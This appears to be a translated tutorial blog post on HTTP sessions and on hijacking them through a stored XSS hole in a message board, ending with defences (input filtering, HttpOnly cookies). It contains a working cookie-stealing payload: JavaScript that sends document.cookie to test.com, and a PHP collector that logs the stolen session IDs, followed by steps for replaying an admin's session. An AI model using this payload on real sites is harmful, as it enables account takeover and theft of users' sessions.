In Cross-site scripting attack XSS , I briefly introduced the principle of XSS and a small example of using XSS to steal the username and password stored in a cookie. Some students will say that this is a big deal after reading it, where would someone store plaintext in a cookie? user name and password. Today we will introduce a more harmful XSS - session hijacking.
God is a session
If you want to understand session hijacking and its harm, you must first figure out what session is. Students who are familiar with http know that http is stateless, that is, after the client completes the request to the server, the connection will be disconnected, and the same client will be disconnected next time. When accessing the server, the server will treat it as an unfamiliar request and will not know that it has come before, and there is its imprint here.
However, such interaction is very troublesome. A website has many themes, which are recorded in the server through a set of mechanisms. When the user accesses, the configuration is read from the database and other places, and the appropriate themeHTML response is returned to the client. Because http has no state, the next time the user comes back, the database configuration is read again, and each user has to repeat this process, is it very troublesome? At this time, we hope to have a global variable storage space to store some data that the whole site needs and will not change (even if it changes), this is the Application variable. The Application variable is a global variable of the site. As long as the server does not go down, any user can access and perform read and write operations on any page under authorization. In this way, some information such as theme and timezone can be stored in the Application when the user accesses it for the first time, and can be directly read when the user accesses it again or when other users access it, which is much more convenient.
However, sometimes we want the server to open up a private space for each of our individual web users. For example, we definitely don't want users to enter a user name and password when they visit a page. When the user successfully logs in for the first time, the login information can be Store it on the server, and you can compare it directly next time you come. But obviously you don't want your username and password to be accessible by all users, so the server private space is needed.
But, due to the statelessness of http, even if there is a private space for each user on the server, the next time the user accesses, the server still does not know whether the user is Zhang San, Li Si or Wang Ermazi. How can I do this? Smart students must have thought of it, and let the client's request tell the server that I am Wang Ermazi. In this way, the server and the client can talk to each other, so as not to forget the previous sentence after saying the latter sentence.
The problem is how does the client tell the server who I am. Careful students will notice that the cookie is part of the http protocol and will appear in the http request and http response, and the memory session between the client and the server is realized by the cookie. Take login as an example, the session process is like this
Log in
1. The client sends a login request
2. The server receives the request, verifies the login, and opens up a private space for the web user after success to store the login information
3. The server numbers this private space, similar to a key-value pair such as PHPSESSID=rcmjnke6er5pnvf3qof0lclca7 . The rules for key names and values generated by different languages are different, but they are based on two principles: first, the value must be unique, after all, one The site may be visited by millions or even more users at the same time, and the representation of two users cannot be the same; second: the generated value must be unpredictable, otherwise users with ulterior motives can infer others based on their own representation information. Then fake other people's login information to visit the site (this is session hijacking).
4. The server writes this key-value pair into the http response and sends it to the client
5. The client receives the response and closes the connection
The login is successful, and the user visits other pages
1. The client sends a login request (the user identification information written by the server to the cookie is also sent)
2. The server reads the cookie information in the http request, finds the corresponding private space according to the identification information, and reads the user information
3. The server generates a specific response and sends it to the client
4. The client receives the response and closes the connection
Does this process look a lot like a session? This is the first time I came here to give a label. Next time, the mechanism for communicating with this label is the session. Of course, the session also includes its failure mechanism.
session hijacking
The cookie generated by the server to identify client information is generally called sessionId, and an attack that obtains the sessionId of other users through some means is called session hijacking.
It's so terrifying, so what's the danger of someone knowing my sessionId? Through the above interaction process, it can be seen that the server relies on the sessionId to identify whether the client is Zhang San, Li Si or Wang Ermazi. When other users know your sessionId, they can use this sessionId to deceive the server within its validity period and obtain your to log in to use the website.
XSS hijacks session
Or use cross-site scripting to attack the XSS vulnerability of the message board in XSS, add a successful login home page, including the message board page link, the administrator has other permissions, and the login fails to return to the login page.
home.php
<!DOCTYPE html>
<html>
<head>
<title>Home</title>
<?php include('/components/headerinclude.php');?>
</head>
<body>
<a href="list.php">Comments</a>
<?php
use \entity\authority as au;
include 'entity\user.php';
if(isset($_POST['username'])){
$user=new au\User();
$user->username=$_POST['username'];
$user->password=md5($_POST['password']);
if($user->username=='Byron'){
$user->role='admin';
}else{
$user->role='normal';
}
$_SESSION['user']=json_encode($user);
}
if(!isset($_SESSION['user'])){
echo '<script>';
echo 'window.location.href="index.php"';
echo '</script>';
}else{
$me=json_decode($_SESSION['user']);
echo '<br/>Hello '.$me->username.'!<br/>';
if($me->role=='admin'){
echo "Your are an Administrator, you can do anything.";
}
}
?>
</body>
</html>
When we log in as an administrator, the interface looks like this
When a malicious user without administrator privileges logs in and accesses the message board, the XSS vulnerability is used to inject such code
Look what the bad guys did
<script type="text/javascript" src=" http://test.com/hack.js"></script > This statement uses the src of script to request the bad guy's own script across domains
var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c;
document.body.appendChild(script);
A script tag is created in the script, and jsonp is used to send an http request to 'http://test.com/index.php with the current user's cookie
<?php
if(!empty($_GET['c'])){
$cookie=$_GET['c'];
try{
$path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$cookie\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
It turns out that the bad guy recorded the sessionId to his disk through XSS
How to fake admin login
In this way, if the admin logs in and accesses the message board page after the bad guy uses XSS to inject the script that hijacks the sessionId, the bad guy will get the administrator's sessionId, and the bad guy can do this during its validity period
1. Log in to the system with your own account, wait for the administrator to access the attacked page, and obtain its sessionId
For example I get admin sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37
2. Modify sessionId through the client
own login interface
Modify cookies
3. Refresh the page, deceive the server, and become an administrator
4. Incredible. . .
How to prevent
This kind of session hijacking is mainly completed by XSS vulnerability and the client obtains the sessionId. One prevention is divided into two steps.
1. Filter user input to prevent XSS vulnerabilities
2. Set the sessionId cookie to HttpOnly so that the client cannot get it